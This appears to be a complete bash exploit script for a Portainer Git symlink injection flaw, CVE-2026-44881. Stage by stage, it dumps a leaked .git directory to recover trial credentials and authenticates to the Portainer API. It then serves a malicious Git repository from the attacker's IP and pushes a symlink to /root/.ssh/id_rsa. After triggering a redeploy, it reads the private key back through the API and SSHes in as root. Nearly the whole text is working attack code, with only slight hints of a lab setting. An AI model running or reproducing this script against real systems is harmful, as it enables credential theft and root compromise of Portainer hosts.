README.md
Rendering markdown...
#!/usr/bin/env bash
# CVE-2026-44881 — Portainer Git Symlink Injection → Arbitrary Host File Read
#
# End-to-end exploit:
# 1. dump leaked .git from port 80 → recover Portainer trial creds
# 2. log in as the trial user
# 3. stand up a malicious Git repo on a local port
# 4. create a Git-backed Portainer stack (clean YAML, passes validation)
# 5. push a commit replacing docker-compose.yml with a symlink to /root/.ssh/id_rsa
# 6. trigger the stack git/redeploy endpoint
# 7. read /api/stacks/<id>/file → the symlink target's content
# 8. (optional) SSH in with the leaked key
#
# Affected: Portainer CE 2.33.0–2.33.7, 2.39.0–2.39.1, 2.40.x (fix: 2.33.8 / 2.39.2 / 2.41.0)
# Reference: https://github.com/portainer/portainer/security/advisories/GHSA-rpgq-m5fp-32wr
#
# Usage:
# ./exploit.sh -t <target_ip> [-a <attacker_ip>] [-l <leak_path>] [-p <portainer_port>]
# [-g <git_port>] [-w <workdir>] [--no-ssh] [--no-creds-from-git]
# [-u <user>] [-P <pass>]
#
# Requires: bash, curl, jq, git, git-daemon, ssh, python3 (only if --no-creds-from-git uses pip-installed git-dumper)
# Optional: git-dumper (will fall back to manual dumb-HTTP enumeration if absent)
set -euo pipefail
# ─── defaults ────────────────────────────────────────────────────────────────
TARGET=""
ATTACKER=""
LEAK_PATH="/.git"
PORTAINER_PORT="9000"
GIT_PORT="9418"
WORKDIR=""
DO_SSH=1
GET_CREDS_FROM_GIT=1
TRIAL_USER=""
TRIAL_PASS=""
# ─── pretty logging ──────────────────────────────────────────────────────────
c_grn=$'\033[32m'; c_red=$'\033[31m'; c_ylw=$'\033[33m'; c_cyn=$'\033[36m'; c_off=$'\033[0m'
log() { printf '%s[+]%s %s\n' "$c_grn" "$c_off" "$*"; }
warn() { printf '%s[!]%s %s\n' "$c_ylw" "$c_off" "$*" >&2; }
die() { printf '%s[-]%s %s\n' "$c_red" "$c_off" "$*" >&2; exit 1; }
step() { printf '\n%s=== %s ===%s\n' "$c_cyn" "$*" "$c_off"; }
usage() {
sed -n '2,20p' "$0"
exit 0
}
# ─── argparse ────────────────────────────────────────────────────────────────
while [[ $# -gt 0 ]]; do
case $1 in
-t|--target) TARGET="$2"; shift 2 ;;
-a|--attacker) ATTACKER="$2"; shift 2 ;;
-l|--leak-path) LEAK_PATH="$2"; shift 2 ;;
-p|--portainer-port) PORTAINER_PORT="$2"; shift 2 ;;
-g|--git-port) GIT_PORT="$2"; shift 2 ;;
-w|--workdir) WORKDIR="$2"; shift 2 ;;
--no-ssh) DO_SSH=0; shift ;;
--no-creds-from-git) GET_CREDS_FROM_GIT=0; shift ;;
-u|--user) TRIAL_USER="$2"; shift 2 ;;
-P|--pass) TRIAL_PASS="$2"; shift 2 ;;
-h|--help) usage ;;
*) die "unknown flag: $1" ;;
esac
done
[[ -n "$TARGET" ]] || die "target IP required (-t)"
[[ -n "$WORKDIR" ]] || WORKDIR="$(mktemp -d -t cve44881-XXXXXX)"
# Auto-detect attacker IP if not given (pick the first non-loopback IPv4)
if [[ -z "$ATTACKER" ]]; then
ATTACKER=$(ip -4 addr show 2>/dev/null | grep -oP '(?<=inet )\d+\.\d+\.\d+\.\d+' | grep -v '^127\.' | head -1)
[[ -n "$ATTACKER" ]] || die "could not auto-detect attacker IP; pass -a <ip>"
fi
# Sanity check dependencies
for bin in curl jq git ssh; do
command -v "$bin" >/dev/null || die "missing dependency: $bin"
done
if ! command -v git-daemon >/dev/null && ! git daemon --help >/dev/null 2>&1; then
warn "git daemon not detected — try: sudo apt install git-daemon-run"
fi
log "Target : http://${TARGET}:${PORTAINER_PORT}"
log "Attacker IP : ${ATTACKER}"
log "Workdir : ${WORKDIR}"
# ─── stage 1: recover credentials from leaked .git ───────────────────────────
if [[ $GET_CREDS_FROM_GIT -eq 1 ]]; then
step "Stage 1 — dump leaked ${LEAK_PATH} and recover creds"
GITDUMP_DIR="${WORKDIR}/leaked"
rm -rf "$GITDUMP_DIR"
if command -v git-dumper >/dev/null; then
log "git-dumper found, running it..."
git-dumper "http://${TARGET}${LEAK_PATH}/" "$GITDUMP_DIR" 2>&1 | tail -3
else
log "git-dumper not found; manual dumb-HTTP enumeration..."
mkdir -p "$GITDUMP_DIR/.git"
# Fetch the canonical files git needs to be a valid working dir
for f in HEAD config description \
info/refs info/exclude \
logs/HEAD \
refs/heads/master refs/heads/main \
objects/info/packs \
packed-refs; do
mkdir -p "$GITDUMP_DIR/.git/$(dirname "$f")"
curl -fsS -o "$GITDUMP_DIR/.git/$f" "http://${TARGET}${LEAK_PATH}/$f" 2>/dev/null || true
done
# Discover the head commit + walk back through parents to fetch loose objects.
# This is a minimal git-dumper — handles the common loose-object case our lab uses.
fetch_object() {
local sha="$1" prefix="${1:0:2}" rest="${1:2}"
local out="$GITDUMP_DIR/.git/objects/$prefix/$rest"
[[ -f "$out" ]] && return 0
mkdir -p "$(dirname "$out")"
curl -fsS -o "$out" "http://${TARGET}${LEAK_PATH}/objects/$prefix/$rest" 2>/dev/null || rm -f "$out"
[[ -f "$out" ]]
}
cd "$GITDUMP_DIR"
head_ref=$(cat .git/HEAD | sed -n 's|^ref: ||p')
head_sha=""
[[ -f ".git/$head_ref" ]] && head_sha=$(cat ".git/$head_ref" | tr -d '\n\r ')
[[ -z "$head_sha" && -f ".git/packed-refs" ]] && \
head_sha=$(awk -v r="$head_ref" '$2==r{print $1}' .git/packed-refs)
if [[ -z "$head_sha" ]]; then
warn "could not resolve HEAD ref — install git-dumper for robust dumping"
cd - >/dev/null
else
# Walk objects: BFS from HEAD commit → tree → parents recursively
queue=("$head_sha")
seen=""
while [[ ${#queue[@]} -gt 0 ]]; do
sha="${queue[0]}"; queue=("${queue[@]:1}")
[[ ",$seen," == *",$sha,"* ]] && continue
seen="$seen,$sha"
fetch_object "$sha" || continue
# Try to parse it
type=$(git -C "$GITDUMP_DIR" cat-file -t "$sha" 2>/dev/null || true)
case "$type" in
commit)
for child in $(git -C "$GITDUMP_DIR" cat-file -p "$sha" 2>/dev/null \
| awk '/^tree /{print $2} /^parent /{print $2}'); do
queue+=("$child")
done ;;
tree)
for child in $(git -C "$GITDUMP_DIR" ls-tree -r "$sha" 2>/dev/null \
| awk '{print $3}'); do
queue+=("$child")
done ;;
esac
done
cd - >/dev/null
fi
fi
# Validate the dump
if ! git -C "$GITDUMP_DIR" log --oneline >/dev/null 2>&1; then
die "git dump incomplete; install git-dumper (pipx install git-dumper) and retry"
fi
log "git history:"
git -C "$GITDUMP_DIR" log --oneline | sed 's/^/ /'
# Pluck creds out of any onboarding.env in history (current or removed)
env_blob=$(git -C "$GITDUMP_DIR" log --all -p -- onboarding.env 2>/dev/null \
| grep -E '^\+(PORTAINER|TRIAL|USER|PASS|.*USER=|.*PASS=)' || true)
TRIAL_USER=$(printf '%s\n' "$env_blob" | grep -oE 'TRIAL_USER=.*' | head -1 | cut -d'=' -f2- | tr -d '\r')
TRIAL_PASS=$(printf '%s\n' "$env_blob" | grep -oE 'TRIAL_PASS=.*' | head -1 | cut -d'=' -f2- | tr -d '\r')
[[ -n "$TRIAL_USER" && -n "$TRIAL_PASS" ]] || die "could not extract creds from .git history"
log "Recovered creds: ${TRIAL_USER} / ${TRIAL_PASS}"
fi
[[ -n "$TRIAL_USER" && -n "$TRIAL_PASS" ]] || die "no credentials available — pass -u/-P or enable --no-creds-from-git=0"
# ─── stage 2: Portainer auth ─────────────────────────────────────────────────
step "Stage 2 — Portainer auth"
JWT=$(curl -s -X POST "http://${TARGET}:${PORTAINER_PORT}/api/auth" \
-H 'Content-Type: application/json' \
-d "{\"Username\":\"${TRIAL_USER}\",\"Password\":\"${TRIAL_PASS}\"}" | jq -r .jwt)
[[ -n "$JWT" && "$JWT" != "null" ]] || die "login failed for ${TRIAL_USER}"
log "JWT: ${JWT:0:32}..."
ENDPOINT_ID=$(curl -s -H "Authorization: Bearer $JWT" \
"http://${TARGET}:${PORTAINER_PORT}/api/endpoints" | jq -r '.[0].Id // empty')
[[ -n "$ENDPOINT_ID" ]] || die "no Docker endpoint visible to ${TRIAL_USER}"
log "Endpoint ID: ${ENDPOINT_ID}"
# ─── stage 3: stand up the bait git repo ─────────────────────────────────────
step "Stage 3 — host the bait Git repo on git://${ATTACKER}:${GIT_PORT}/repo.git"
REPO_BASE="${WORKDIR}/git"
rm -rf "$REPO_BASE"
mkdir -p "$REPO_BASE"
cd "$REPO_BASE"
git init -q --bare repo.git
git clone -q repo.git work
cd work
cat > docker-compose.yml <<'YAML'
services:
hi:
image: hello-world
YAML
git add docker-compose.yml
git -c user.email=e@e -c user.name=e commit -q -m clean
git push -q origin master
cd "$REPO_BASE"
# Kill any previous git daemon on this port we may have left running
pkill -f "git-daemon.*--port=${GIT_PORT}" 2>/dev/null || true
git daemon --base-path="$REPO_BASE" --export-all --reuseaddr --port="${GIT_PORT}" \
--listen=0.0.0.0 --detach 2>/dev/null &
DAEMON_PID=$!
sleep 1
log "git daemon up (pid ${DAEMON_PID})"
# ─── stage 4: create stack with clean YAML (validation passes) ───────────────
step "Stage 4 — create the Git-backed stack (clean YAML)"
STACK_NAME="leak-$RANDOM"
curl -s -X POST "http://${TARGET}:${PORTAINER_PORT}/api/stacks/create/standalone/repository?endpointId=${ENDPOINT_ID}" \
-H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \
-d "{\"Name\":\"${STACK_NAME}\",\"RepositoryURL\":\"git://${ATTACKER}:${GIT_PORT}/repo.git\",\"RepositoryReferenceName\":\"refs/heads/master\",\"ComposeFile\":\"docker-compose.yml\",\"RepositoryAuthentication\":false}" \
>/dev/null
SID=$(curl -s -H "Authorization: Bearer $JWT" "http://${TARGET}:${PORTAINER_PORT}/api/stacks" \
| jq -r ".[] | select(.Name==\"${STACK_NAME}\") | .Id")
[[ -n "$SID" ]] || die "stack creation failed (could not find ${STACK_NAME} in list)"
log "Stack ID: ${SID}"
# ─── stage 5: replace docker-compose.yml with symlink, push, redeploy ────────
step "Stage 5 — push symlink commit + trigger redeploy (validation will fail, on disk is overwritten)"
cd "$REPO_BASE/work"
rm -f docker-compose.yml
ln -s ../../../mnt/host/root/.ssh/id_rsa docker-compose.yml
git add -A
git -c user.email=e@e -c user.name=e commit -q -m evil
git push -q origin master
redeploy_resp=$(curl -s -X PUT "http://${TARGET}:${PORTAINER_PORT}/api/stacks/${SID}/git/redeploy?endpointId=${ENDPOINT_ID}" \
-H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \
-d '{"env":[],"prune":false,"pullImage":false}')
log "redeploy response: ${redeploy_resp}"
# ─── stage 6: leak the file ──────────────────────────────────────────────────
step "Stage 6 — GET /api/stacks/${SID}/file"
KEY_OUT="${WORKDIR}/stolen_id_rsa"
curl -s -H "Authorization: Bearer $JWT" \
"http://${TARGET}:${PORTAINER_PORT}/api/stacks/${SID}/file" \
| jq -r .StackFileContent > "$KEY_OUT"
chmod 600 "$KEY_OUT"
if ! grep -q 'PRIVATE KEY' "$KEY_OUT"; then
warn "leak output doesn't look like an SSH key — dumping first 5 lines:"
head -5 "$KEY_OUT" >&2
die "leak failed"
fi
log "leaked private key saved to ${KEY_OUT}"
head -1 "$KEY_OUT"
echo "..."
tail -1 "$KEY_OUT"
# ─── stage 7: SSH in (optional) ──────────────────────────────────────────────
if [[ $DO_SSH -eq 1 ]]; then
step "Stage 7 — SSH in as root with leaked key"
ssh -i "$KEY_OUT" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-o LogLevel=ERROR root@"${TARGET}" \
'echo "=== id ==="; id; echo "=== hostname ==="; hostname; echo "=== flag ==="; cat /root/proof.txt 2>/dev/null || echo "(no /root/proof.txt)"' \
|| warn "ssh failed (lab may require non-default port or different user)"
fi
step "Done — exploit complete"
log "private key: ${KEY_OUT}"
log "interactive: ssh -i ${KEY_OUT} -o StrictHostKeyChecking=no root@${TARGET}"
log "cleanup: kill ${DAEMON_PID}; rm -rf ${WORKDIR}"